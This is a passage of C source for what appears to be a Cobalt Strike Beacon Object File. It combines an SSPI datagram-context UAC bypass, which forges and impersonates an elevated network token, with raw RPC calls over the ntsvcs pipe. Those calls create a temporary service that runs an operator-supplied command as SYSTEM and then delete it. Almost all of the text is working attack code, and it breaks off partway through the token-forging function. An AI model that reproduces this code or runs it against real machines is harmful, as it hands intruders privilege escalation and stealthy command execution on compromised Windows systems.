RpcConnectionStruct\n{\n    HANDLE hFile;\n    DWORD dwCallIndex;\n\n    DWORD dwInputError;\n\n    DWORD dwRequestInitialised;\n\n    BYTE bProcedureInputData[MAX_PROCEDURE_DATA_LENGTH];\n    DWORD dwProcedureInputDataLength;\n\n    BYTE bProcedureOutputData[MAX_PROCEDURE_DATA_LENGTH];\n    DWORD dwProcedureOutputDataLength;\n};\n\nDWORD RpcConvertUUID(char* pString, BYTE* pUUID, DWORD dwMaxLength)\n{\n    BYTE bUUID[16];\n    BYTE bFixedUUID[16];\n    DWORD dwUUIDLength = 0;\n    BYTE bCurrInputChar = 0;\n    BYTE bConvertedByte = 0;\n    DWORD dwProcessedByteCount = 0;\n    BYTE bCurrOutputByte = 0;\n\n    // ensure output buffer is large enough\n    if (dwMaxLength < 16)\n    {\n        return 1;\n    }\n\n    // check uuid length\n    dwUUIDLength = MSVCRT$strlen(\"00000000-0000-0000-0000-000000000000\");\n    if (MSVCRT$strlen(pString) != dwUUIDLength)\n    {\n        return 1;\n    }\n\n    // convert string to uuid\n    for (DWORD i = 0; i < dwUUIDLength; i++)\n    {\n        // get current input character\n        bCurrInputChar = *(BYTE*)((BYTE*)pString + i);\n\n        // check if a dash character is expected here\n        if (i == 8 || i == 13 || i == 18 || i == 23)\n        {\n            if (bCurrInputChar == '-')\n            {\n                continue;\n            }\n            else\n            {\n                return 1;\n            }\n        }\n        else\n        {\n            // check current input character value\n            if (bCurrInputChar >= 'a' && bCurrInputChar <= 'f')\n            {\n                bConvertedByte = 0xA + (bCurrInputChar - 'a');\n            }\n            else if (bCurrInputChar >= 'A' && bCurrInputChar <= 'F')\n            {\n                bConvertedByte = 0xA + (bCurrInputChar - 'A');\n            }\n            else if (bCurrInputChar >= '0' && bCurrInputChar <= '9')\n            {\n                bConvertedByte = 0 + (bCurrInputChar - '0');\n            }\n            else\n            {\n                // invalid character\n                return 1;\n            }\n\n            if ((dwProcessedByteCount % 2) == 0)\n            {\n                bCurrOutputByte = bConvertedByte * 0x10;\n            }\n            else\n            {\n                bCurrOutputByte += bConvertedByte;\n\n                // store current uuid byte\n                bUUID[(dwProcessedByteCount - 1) / 2] = bCurrOutputByte;\n            }\n            dwProcessedByteCount++;\n        }\n    }\n\n    // fix uuid endianness\n    MSVCRT$memcpy((void*)bFixedUUID, (void*)bUUID, sizeof(bUUID));\n    bFixedUUID[0] = bUUID[3];\n    bFixedUUID[1] = bUUID[2];\n    bFixedUUID[2] = bUUID[1];\n    bFixedUUID[3] = bUUID[0];\n    bFixedUUID[4] = bUUID[5];\n    bFixedUUID[5] = bUUID[4];\n    bFixedUUID[6] = bUUID[7];\n    bFixedUUID[7] = bUUID[6];\n\n    // store uuid\n    MSVCRT$memcpy((void*)pUUID, (void*)bFixedUUID, sizeof(bUUID));\n\n    return 0;\n}\n\nDWORD RpcBind(RpcConnectionStruct* pRpcConnection, char* pInterfaceUUID, DWORD dwInterfaceVersion)\n{\n    RpcBaseHeaderStruct RpcBaseHeader;\n    RpcBindRequestHeaderStruct RpcBindRequestHeader;\n    DWORD dwBytesWritten = 0;\n    DWORD dwBytesRead = 0;\n    BYTE *bResponseData = (BYTE *)MSVCRT$malloc(MAX_RPC_PACKET_LENGTH); // did this to fix what seemed to be a stack overflow\n    //BYTE bResponseData[MAX_RPC_PACKET_LENGTH];\n    RpcBaseHeaderStruct* pRpcResponseBaseHeader = NULL;\n    RpcBindResponseHeader1Struct* pRpcBindResponseHeader1 = NULL;\n    RpcBindResponseHeader2Struct* pRpcBindResponseHeader2 = NULL;\n    BYTE* pSecondaryAddrHeaderBlock = NULL;\n    WORD wSecondaryAddrLen = 0;\n    DWORD dwSecondaryAddrAlign = 0;\n\n    // set base header details\n    MSVCRT$memset((void*)&RpcBaseHeader, 0, sizeof(RpcBaseHeader));\n    RpcBaseHeader.wVersion = 5;\n    RpcBaseHeader.bPacketType = 11;\n    RpcBaseHeader.bPacketFlags = 3;\n    RpcBaseHeader.dwDataRepresentation = 0x10;\n    RpcBaseHeader.wFragLength = sizeof(RpcBaseHeader) + sizeof(RpcBindRequestHeader);\n    RpcBaseHeader.wAuthLength = 0;\n    RpcBaseHeader.dwCallIndex = pRpcConnection->dwCallIndex;\n\n    // set bind request header details\n    MSVCRT$memset((void*)&RpcBindRequestHeader, 0, sizeof(RpcBindRequestHeader));\n    RpcBindRequestHeader.wMaxSendFrag = MAX_RPC_PACKET_LENGTH;\n    RpcBindRequestHeader.wMaxRecvFrag = MAX_RPC_PACKET_LENGTH;\n    RpcBindRequestHeader.dwAssocGroup = 0;\n    RpcBindRequestHeader.bContextCount = 1;\n    RpcBindRequestHeader.Context.wContextID = 0;\n    RpcBindRequestHeader.Context.wTransItemCount = 1;\n    RpcBindRequestHeader.Context.dwTransferSyntaxVersion = 2;\n\n    // get interface UUID\n    if (RpcConvertUUID(pInterfaceUUID, RpcBindRequestHeader.Context.bInterfaceUUID, sizeof(RpcBindRequestHeader.Context.bInterfaceUUID)) != 0)\n    {\n        return 1;\n    }\n    RpcBindRequestHeader.Context.dwInterfaceVersion = dwInterfaceVersion;\n\n    // {8a885d04-1ceb-11c9-9fe8-08002b104860} (NDR)\n    if (RpcConvertUUID(\"8a885d04-1ceb-11c9-9fe8-08002b104860\", RpcBindRequestHeader.Context.bTransferSyntaxUUID, sizeof(RpcBindRequestHeader.Context.bTransferSyntaxUUID)) != 0)\n    {\n        return 1;\n    }\n\n    // write base header\n    if (KERNEL32$WriteFile(pRpcConnection->hFile, (void*)&RpcBaseHeader, sizeof(RpcBaseHeader), &dwBytesWritten, NULL) == 0)\n    {\n        return 1;\n    }\n\n    // write bind request header\n    if (KERNEL32$WriteFile(pRpcConnection->hFile, (void*)&RpcBindRequestHeader, sizeof(RpcBindRequestHeader), &dwBytesWritten, NULL) == 0)\n    {\n        return 1;\n    }\n\n    // increase call index\n    pRpcConnection->dwCallIndex++;\n\n    // get bind response\n    MSVCRT$memset((void*)bResponseData, 0, MAX_RPC_PACKET_LENGTH);\n    if (KERNEL32$ReadFile(pRpcConnection->hFile, (void*)bResponseData, MAX_RPC_PACKET_LENGTH, &dwBytesRead, NULL) == 0)\n    {\n        return 1;\n    }\n\n    // get a ptr to the base response header\n    pRpcResponseBaseHeader = (RpcBaseHeaderStruct*)bResponseData;\n\n    // validate base response header\n    if (pRpcResponseBaseHeader->wVersion != 5)\n    {\n        return 1;\n    }\n    if (pRpcResponseBaseHeader->bPacketType != 12)\n    {\n        return 1;\n    }\n    if (pRpcResponseBaseHeader->bPacketFlags != 3)\n    {\n        return 1;\n    }\n    if (pRpcResponseBaseHeader->wFragLength != dwBytesRead)\n    {\n        return 1;\n    }\n\n    // get a ptr to the main bind response header body\n    pRpcBindResponseHeader1 = (RpcBindResponseHeader1Struct*)((BYTE*)pRpcResponseBaseHeader + sizeof(RpcBaseHeaderStruct));\n\n    // get secondary addr header ptr\n    pSecondaryAddrHeaderBlock = (BYTE*)pRpcBindResponseHeader1 + sizeof(RpcBindResponseHeader1Struct);\n    wSecondaryAddrLen = *(WORD*)pSecondaryAddrHeaderBlock;\n\n    // validate secondary addr length\n    if (wSecondaryAddrLen > 256)\n    {\n        return 1;\n    }\n\n    // calculate padding for secondary addr value if necessary\n    dwSecondaryAddrAlign = CALC_ALIGN_PADDING((sizeof(WORD) + wSecondaryAddrLen), 4);\n\n    // get a ptr to the main bind response header body (after the variable-length secondary addr field)\n    pRpcBindResponseHeader2 = (RpcBindResponseHeader2Struct*)((BYTE*)pSecondaryAddrHeaderBlock + sizeof(WORD) + wSecondaryAddrLen + dwSecondaryAddrAlign);\n\n    // validate context count\n    if (pRpcBindResponseHeader2->dwContextResultCount != 1)\n    {\n        return 1;\n    }\n\n    // ensure the result value for context #1 was successful\n    if (pRpcBindResponseHeader2->Context.wResult != 0)\n    {\n        return 1;\n    }\n\n    MSVCRT$free(bResponseData);\n\n    return 0;\n}\n\nDWORD RpcConnect(char* pPipeName, char* pInterfaceUUID, DWORD dwInterfaceVersion, RpcConnectionStruct* pRpcConnection)\n{\n    HANDLE hFile = NULL;\n    char szPipePath[512];\n    //char ok[3000];\n    //RpcConnectionStruct RpcConnection;\n    RpcConnectionStruct *RpcConnection = (RpcConnectionStruct*)MSVCRT$malloc(sizeof(RpcConnectionStruct));\n\n    // set pipe path\n    MSVCRT$memset(szPipePath, 0, sizeof(szPipePath));\n    MSVCRT$_snprintf(szPipePath, sizeof(szPipePath) - 1, \"\\\\\\\\127.0.0.1\\\\pipe\\\\%s\", pPipeName);\n\n    // open rpc pipe\n    hFile = KERNEL32$CreateFileA(szPipePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);\n    if (hFile == INVALID_HANDLE_VALUE)\n    {\n        return 1;\n    }\n\n    // initialise rpc connection data\n    MSVCRT$memset((void*)RpcConnection, 0, sizeof(RpcConnectionStruct));\n    RpcConnection->hFile = hFile;\n    RpcConnection->dwCallIndex = 1;\n\n    // bind rpc connection\n    if (RpcBind(RpcConnection, pInterfaceUUID, dwInterfaceVersion) != 0)\n    {\n        return 1;\n    }\n\n    // store connection data\n    MSVCRT$memcpy((void*)pRpcConnection, (void*)RpcConnection, sizeof(RpcConnectionStruct));\n\n    MSVCRT$free(RpcConnection);\n\n    return 0;\n}\n\nDWORD RpcSendRequest(RpcConnectionStruct* pRpcConnection, DWORD dwProcedureNumber)\n{\n    RpcBaseHeaderStruct RpcBaseHeader;\n    RpcRequestHeaderStruct RpcRequestHeader;\n    DWORD dwBytesWritten = 0;\n    //BYTE bResponseData[MAX_RPC_PACKET_LENGTH];\n    BYTE *bResponseData = (BYTE *)MSVCRT$malloc(MAX_RPC_PACKET_LENGTH); // did this to fix what seemed to be a stack overflow\n    RpcBaseHeaderStruct* pRpcResponseBaseHeader = NULL;\n    RpcResponseHeaderStruct* pRpcResponseHeader = NULL;\n    DWORD dwProcedureResponseDataLength = 0;\n    DWORD dwBytesRead = 0;\n    BYTE* pTempProcedureResponseDataPtr = NULL;\n\n    // ensure rpc request has been initialised\n    if (pRpcConnection->dwRequestInitialised == 0)\n    {\n        return 1;\n    }\n\n    // clear initialised flag\n    pRpcConnection->dwRequestInitialised = 0;\n\n    // check for input errors\n    if (pRpcConnection->dwInputError != 0)\n    {\n        return 1;\n    }\n\n    // set base header details\n    MSVCRT$memset((void*)&RpcBaseHeader, 0, sizeof(RpcBaseHeader));\n    RpcBaseHeader.wVersion = 5;\n    RpcBaseHeader.bPacketType = 0;\n    RpcBaseHeader.bPacketFlags = 3;\n    RpcBaseHeader.dwDataRepresentation = 0x10;\n    RpcBaseHeader.wFragLength = sizeof(RpcBaseHeader) + sizeof(RpcRequestHeader) + pRpcConnection->dwProcedureInputDataLength;\n    RpcBaseHeader.wAuthLength = 0;\n    RpcBaseHeader.dwCallIndex = pRpcConnection->dwCallIndex;\n\n    // set request header details\n    MSVCRT$memset((void*)&RpcRequestHeader, 0, sizeof(RpcRequestHeader));\n    RpcRequestHeader.dwAllocHint = 0;\n    RpcRequestHeader.wContextID = 0;\n    RpcRequestHeader.wProcedureNumber = (WORD)dwProcedureNumber;\n\n    // write base header\n    if (KERNEL32$WriteFile(pRpcConnection->hFile, (void*)&RpcBaseHeader, sizeof(RpcBaseHeader), &dwBytesWritten, NULL) == 0)\n    {\n        return 1;\n    }\n\n    // write request header\n    if (KERNEL32$WriteFile(pRpcConnection->hFile, (void*)&RpcRequestHeader, sizeof(RpcRequestHeader), &dwBytesWritten, NULL) == 0)\n    {\n        return 1;\n    }\n\n    // write request body\n    if (KERNEL32$WriteFile(pRpcConnection->hFile, (void*)pRpcConnection->bProcedureInputData, pRpcConnection->dwProcedureInputDataLength, &dwBytesWritten, NULL) == 0)\n    {\n        return 1;\n    }\n\n    // increase call index\n    pRpcConnection->dwCallIndex++;\n\n    // get bind response\n    MSVCRT$memset((void*)bResponseData, 0, MAX_RPC_PACKET_LENGTH);\n    if (KERNEL32$ReadFile(pRpcConnection->hFile, (void*)bResponseData, MAX_RPC_PACKET_LENGTH, &dwBytesRead, NULL) == 0)\n    {\n        return 1;\n    }\n\n    // get a ptr to the base response header\n    pRpcResponseBaseHeader = (RpcBaseHeaderStruct*)bResponseData;\n\n    // validate base response header\n    if (pRpcResponseBaseHeader->wVersion != 5)\n    {\n        return 1;\n    }\n    if (pRpcResponseBaseHeader->bPacketType != 2)\n    {\n        return 1;\n    }\n    if (pRpcResponseBaseHeader->bPacketFlags != 3)\n    {\n        return 1;\n    }\n    if (pRpcResponseBaseHeader->wFragLength != dwBytesRead)\n    {\n        return 1;\n    }\n\n    // get a ptr to the main response header body\n    pRpcResponseHeader = (RpcResponseHeaderStruct*)((BYTE*)pRpcResponseBaseHeader + sizeof(RpcBaseHeaderStruct));\n\n    // context ID must be 0\n    if (pRpcResponseHeader->wContextID != 0)\n    {\n        return 1;\n    }\n\n    // calculate command response data length\n    dwProcedureResponseDataLength = pRpcResponseBaseHeader->wFragLength - sizeof(RpcBaseHeaderStruct) - sizeof(RpcResponseHeaderStruct);\n\n    // store response data\n    if (dwProcedureResponseDataLength > sizeof(pRpcConnection->bProcedureOutputData))\n    {\n        return 1;\n    }\n    pTempProcedureResponseDataPtr = (BYTE*)pRpcResponseHeader + sizeof(RpcResponseHeaderStruct);\n    MSVCRT$memcpy(pRpcConnection->bProcedureOutputData, pTempProcedureResponseDataPtr, dwProcedureResponseDataLength);\n\n    // store response data length\n    pRpcConnection->dwProcedureOutputDataLength = dwProcedureResponseDataLength;\n\n    MSVCRT$free(bResponseData);\n\n    return 0;\n}\n\nDWORD RpcInitialiseRequestData(RpcConnectionStruct* pRpcConnection)\n{\n    // initialise request data\n    MSVCRT$memset(pRpcConnection->bProcedureInputData, 0, sizeof(pRpcConnection->bProcedureInputData));\n    pRpcConnection->dwProcedureInputDataLength = 0;\n    MSVCRT$memset(pRpcConnection->bProcedureOutputData, 0, sizeof(pRpcConnection->bProcedureOutputData));\n    pRpcConnection->dwProcedureOutputDataLength = 0;\n\n    // reset input error flag\n    pRpcConnection->dwInputError = 0;\n\n    // set initialised flag\n    pRpcConnection->dwRequestInitialised = 1;\n\n    return 0;\n}\n\nDWORD RpcAppendRequestData_Binary(RpcConnectionStruct* pRpcConnection, BYTE* pData, DWORD dwDataLength)\n{\n    DWORD dwBytesAvailable = 0;\n\n    // ensure the request has been initialised\n    if (pRpcConnection->dwRequestInitialised == 0)\n    {\n        return 1;\n    }\n\n    // calculate number of bytes remaining in the input buffer\n    dwBytesAvailable = sizeof(pRpcConnection->bProcedureInputData) - pRpcConnection->dwProcedureInputDataLength;\n    if (dwDataLength > dwBytesAvailable)\n    {\n        // set input error flag\n        pRpcConnection->dwInputError = 1;\n\n        return 1;\n    }\n\n    // store data in buffer\n    MSVCRT$memcpy((void*)&pRpcConnection->bProcedureInputData[pRpcConnection->dwProcedureInputDataLength], pData, dwDataLength);\n    pRpcConnection->dwProcedureInputDataLength += dwDataLength;\n\n    // align to 4 bytes if necessary\n    pRpcConnection->dwProcedureInputDataLength += CALC_ALIGN_PADDING(dwDataLength, 4);\n\n    return 0;\n}\n\nDWORD RpcAppendRequestData_Dword(RpcConnectionStruct* pRpcConnection, DWORD dwValue)\n{\n    // add dword value\n    if (RpcAppendRequestData_Binary(pRpcConnection, (BYTE*)&dwValue, sizeof(DWORD)) != 0)\n    {\n        return 1;\n    }\n\n    return 0;\n}\n\nDWORD RpcDisconnect(RpcConnectionStruct* pRpcConnection)\n{\n    // close pipe handle\n    KERNEL32$CloseHandle(pRpcConnection->hFile);\n\n    return 0;\n}\n\nint InvokeCreateSvcRpcMain(char* pExecCmd)\n{\n    //RpcConnectionStruct RpcConnection;\n    RpcConnectionStruct *RpcConnection = (RpcConnectionStruct*)MSVCRT$malloc(sizeof(RpcConnectionStruct));\n    BYTE bServiceManagerObject[20];\n    BYTE bServiceObject[20];\n    DWORD dwReturnValue = 0;\n    char szServiceName[256];\n    DWORD dwServiceNameLength = 0;\n    char szServiceCommandLine[256];\n    DWORD dwServiceCommandLineLength = 0;\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"Invoking CreateSvcRpc (by @x86matthew)\\n\");\n\n    // generate a temporary service name\n    MSVCRT$memset(szServiceName, 0, sizeof(szServiceName));\n    MSVCRT$_snprintf(szServiceName, sizeof(szServiceName) - 1, \"CreateSvcRpc_%u\", KERNEL32$GetTickCount());\n    dwServiceNameLength = MSVCRT$strlen(szServiceName) + 1;\n\n    // set service command line\n    MSVCRT$memset(szServiceCommandLine, 0, sizeof(szServiceCommandLine));\n    MSVCRT$_snprintf(szServiceCommandLine, sizeof(szServiceCommandLine) - 1, \"cmd /c start %s\", pExecCmd);\n    dwServiceCommandLineLength = MSVCRT$strlen(szServiceCommandLine) + 1;\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"Connecting to \\\\\\\\127.0.0.1\\\\pipe\\\\ntsvcs RPC pipe \\n\");\n\n    // open SVCCTL v2.0\n    if (RpcConnect(\"ntsvcs\", \"367abb81-9844-35f1-ad32-98f038001003\", 2, RpcConnection) != 0)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to connect to RPC pipe\\n\");\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"Opening service manager...\\n\");\n\n    // OpenSCManager\n    RpcInitialiseRequestData(RpcConnection);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, SC_MANAGER_ALL_ACCESS);\n    if (RpcSendRequest(RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER) != 0)\n    {\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // validate rpc output data length\n    if (RpcConnection->dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_OPEN_SC_MANAGER)\n    {\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // get return value\n    dwReturnValue = (DWORD)RpcConnection->bProcedureOutputData[20];\n\n    // check return value\n    if (dwReturnValue != 0)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"OpenSCManager error: %u\\n\", dwReturnValue);\n\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // store service manager object\n    MSVCRT$memcpy(bServiceManagerObject, RpcConnection->bProcedureOutputData, sizeof(bServiceManagerObject));\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"Creating temporary service...\\n\");\n\n    // CreateService\n    RpcInitialiseRequestData(RpcConnection);\n    RpcAppendRequestData_Binary(RpcConnection, bServiceManagerObject, sizeof(bServiceManagerObject));\n    RpcAppendRequestData_Dword(RpcConnection, dwServiceNameLength);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, dwServiceNameLength);\n    RpcAppendRequestData_Binary(RpcConnection, (BYTE*)szServiceName, dwServiceNameLength);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, SERVICE_ALL_ACCESS);\n    RpcAppendRequestData_Dword(RpcConnection, SERVICE_WIN32_OWN_PROCESS);\n    RpcAppendRequestData_Dword(RpcConnection, SERVICE_DEMAND_START);\n    RpcAppendRequestData_Dword(RpcConnection, SERVICE_ERROR_IGNORE);\n    RpcAppendRequestData_Dword(RpcConnection, dwServiceCommandLineLength);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, dwServiceCommandLineLength);\n    RpcAppendRequestData_Binary(RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    if (RpcSendRequest(RpcConnection, RPC_CMD_ID_CREATE_SERVICE) != 0)\n    {\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // validate rpc output data length\n    if (RpcConnection->dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_CREATE_SERVICE)\n    {\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // get return value\n    dwReturnValue = (DWORD)RpcConnection->bProcedureOutputData[24];\n\n    // check return value\n    if (dwReturnValue != 0)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"CreateService error: %u\\n\", dwReturnValue);\n\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    //MSVCRT$printf(\"RpcConnection->bProcedureOutputData[4]: %#p\\n\", &(RpcConnection->bProcedureOutputData[4]));\n\n    // store service object\n    MSVCRT$memcpy(bServiceObject, &(RpcConnection->bProcedureOutputData[4]), sizeof(bServiceObject));\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"Executing '%s' as SYSTEM user...\\n\", pExecCmd);\n\n    // StartService\n    RpcInitialiseRequestData(RpcConnection);\n    RpcAppendRequestData_Binary(RpcConnection, bServiceObject, sizeof(bServiceObject));\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    RpcAppendRequestData_Dword(RpcConnection, 0);\n    if (RpcSendRequest(RpcConnection, RPC_CMD_ID_START_SERVICE) != 0)\n    {\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // validate rpc output data length\n    if (RpcConnection->dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_START_SERVICE)\n    {\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // get return value\n    dwReturnValue = (DWORD)RpcConnection->bProcedureOutputData[0];\n\n    // check return value\n    if (dwReturnValue != 0 && dwReturnValue != ERROR_SERVICE_REQUEST_TIMEOUT)\n    {\n        //BeaconPrintf(CALLBACK_ERROR, \"StartService error: %d\\n\", dwReturnValue);\n\n        // error\n        //RpcDisconnect(RpcConnection);\n\n        //return 1;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"Deleting temporary service...\\n\");\n\n    // DeleteService\n    RpcInitialiseRequestData(RpcConnection);\n    RpcAppendRequestData_Binary(RpcConnection, bServiceObject, sizeof(bServiceObject));\n    if (RpcSendRequest(RpcConnection, RPC_CMD_ID_DELETE_SERVICE) != 0)\n    {\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // validate rpc output data length\n    if (RpcConnection->dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_DELETE_SERVICE)\n    {\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    // get return value\n    dwReturnValue = (DWORD)RpcConnection->bProcedureOutputData[0];\n\n    // check return value\n    if (dwReturnValue != 0)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"DeleteService error: %u\\n\", dwReturnValue);\n\n        // error\n        RpcDisconnect(RpcConnection);\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"Finished\\n\");\n\n    // disconnect from rpc pipe\n    if (RpcDisconnect(RpcConnection) != 0)\n    {\n        MSVCRT$free(RpcConnection);\n        return 1;\n    }\n    \n    MSVCRT$free(RpcConnection);\n\n    return 0;\n}\n\n// OG SspUACBypass code\n#define SEC_SUCCESS(Status) ((Status) >= 0)\n#define MAX_MESSAGE_SIZE 12000\n\n#pragma comment (lib, \"Secur32.lib\")\n\nHANDLE ForgeNetworkAuthToken();\nvoid CheckTokenSession(HANDLE hToken);\nBOOL IsThreadTokenIdentification();\n\nvoid go(char * args, unsigned long length) \n{\n    datap parser;\n    char *fileToRun = NULL;\n    BeaconDataParse(&parser, args, length);\n    fileToRun = BeaconDataExtract(&parser, NULL);\n    //BeaconPrintf(CALLBACK_OUTPUT, \"fileToRun: %s\\n\", fileToRun);\n    //char defaultCmdline[] = \"cmd /c \\\"C:\\\\Users\\\\randy\\\\Desktop\\\\messagebox2.exe\\\"\";\n    //char defaultCmdline[] = \"cmd /c \\\"whoami > C:\\\\Windows\\\\bypassuac.txt\\\"\";\n    //char* cmdline = defaultCmdline;\n    HANDLE hNetworkToken = INVALID_HANDLE_VALUE;\n\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n\\tSspiUacBypass - Bypassing UAC with SSPI Datagram Contexts\\n\\tby @splinter_code\\n\\n\");\n    //MSVCRT$printf(\"\\n\\tSspiUacBypass - Bypassing UAC with SSPI Datagram Contexts\\n\\tby @splinter_code\\n\\n\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"Forging a token from a fake Network Authentication through Datagram Contexts\\n\");\n    //MSVCRT$printf(\"Forging a token from a fake Network Authentication through Datagram Contexts\\n\");\n    hNetworkToken = ForgeNetworkAuthToken();\n    if (hNetworkToken == INVALID_HANDLE_VALUE) {\n        BeaconPrintf(CALLBACK_ERROR,\"Cannot forge the network auth token, exiting...\\n\");\n        return;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"Network Authentication token forged correctly, handle --> 0x%x\\n\", hNetworkToken);\n    //MSVCRT$printf(\"Network Authentication token forged correctly, handle --> 0x%x\\n\", hNetworkToken);\n    CheckTokenSession(hNetworkToken);\n    ADVAPI32$ImpersonateLoggedOnUser(hNetworkToken);\n    // Some Windows versions check if the current process token session ID matches the forged token session ID\n    // Older Windows versions don't, so trying anyway to impersonate even if the forged token session ID is 0\n    if (IsThreadTokenIdentification()) {\n        BeaconPrintf(CALLBACK_ERROR, \"Impersonating the forged token returned an Identification token. Bypass failed :( \\n\");\n    }\n    else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Bypass Success! Now impersonating the forged token... Loopback network auth should be seen as elevated now\\n\");\n        //MSVCRT$printf(\"Bypass Success! Now impersonating the forged token... Loopback network auth should be seen as elevated now\\n\");\n        InvokeCreateSvcRpcMain(fileToRun);\n    }\n    ADVAPI32$RevertToSelf();\n    KERNEL32$CloseHandle(hNetworkToken);\n    return;\n}\n\nHANDLE ForgeNetworkAuthToken() {\n    CredHandle hCredClient, hCredServer;\n    TimeStamp lifetimeClient, lifetimeServer;\n    SecBufferDesc negotiateDesc, challengeDesc, authenticateDesc;\n    SecBuffer negotiateBuffer, challengeBuffer, authenticateBuffer;\n    CtxtHandle clientContextHandle, serverContextHandle;\n    ULONG clientContextAttributes, serverContextAttributes;\n    SECURITY_STATUS secStatus;\n    HANDLE hTokenNetwork = INVALID_HANDLE_VALUE;\n    SEC_CHAR* NTLMSP_NAME2 = \"NTLM\";\n\n    secStatus = SECUR32$AcquireCredentialsHandleA(NULL, NTLMSP_NAME2, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hCredClient, &lifetimeClient);\n    if (!SEC_SUCCESS(secStatus)) {\n        BeaconPrintf(CALLBACK_ERROR, \"AcquireCredentialsHandle Client failed with secstatus code 0x%x \\n\", secStatus);\n        return NULL;\n    }\n\n    secStatus = SECUR32$AcquireCredentialsHandleA(NULL, NTLMSP_NAME2, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hCredServer, &lifetimeServer);\n    if (!SEC_SUCCESS(secStatus)) {\n        BeaconPrintf(CALLBACK_ERROR, \"AcquireCredentialsHandle Server failed with secstatus code 0x%x \\n\", secStatus);\n        return NULL;\n    }\n\n    negotiateDesc.ulVersion = 0;\n    negotiateDesc.cBuffers = 1;\n    negotiateDesc.pBuffers = &negotiateBuffer;\n    negotiateBuffer.cbBuffer = MAX_MESSAGE_SIZE;\n    negotiateBuffer.BufferType = SECBUFFER_TOKEN;\n    negotiateBuffer.pvBuffer = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_MESSAGE_SIZE);\n    secStatus = SECUR32$InitializeSecurityContextA(&hCredClient, NULL, NULL, ISC_REQ_DATAGRAM, 0, SECURITY_NATIVE_DREP, NULL, 0, &clientContextHandle, &negotiateDesc, &clientContextAttributes, &lifetimeClient);\n    if (!SEC_SUCCESS(secStatus)) {\n        BeaconPrintf(CALLBACK_ERROR, \"InitializeSecurityContext Type 1 failed with secstatus code 0x%x \\n\", secStatus);\n        return NULL;\n    }\n\n    challengeDesc.ulVersion = 0;\n    challengeDesc.cBuffers = 1;\n    challengeDesc.pBuffers = &challengeBuffer;\n    challengeBuffer.cbBuffer = MAX_MESSAGE_SIZE;\n    challengeBuffer.BufferType = SECBUFFER_TOKEN;\n    challengeBuffer.pvBuffer = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_MESSAGE_SIZE);\n    secStatus = SECUR32$AcceptSecurityContext(&hCredServer, NULL, &negotiateDesc, ASC_REQ_DATAGRAM, SECURITY_NATIVE_DREP, &serverContextHandle, &challengeDesc, &serverContextAttributes, &lifetimeServer);\n    if (!SEC_SUCCESS(secStatus)) {\n        BeaconPrintf(CALLBACK_ERROR, \"AcceptSecurityContext Type 2 failed with secstatus code 0x%x \\n\", secStatus);\n        return NULL;\n    }\n\n    authenticateDesc.ulVersion = 0;\n    authenticateDesc.cBuffers = 1;\n    authenticateDesc.pBuffers = &authenticateBuffer;\n    authenticateBuffer.cbBuffer = 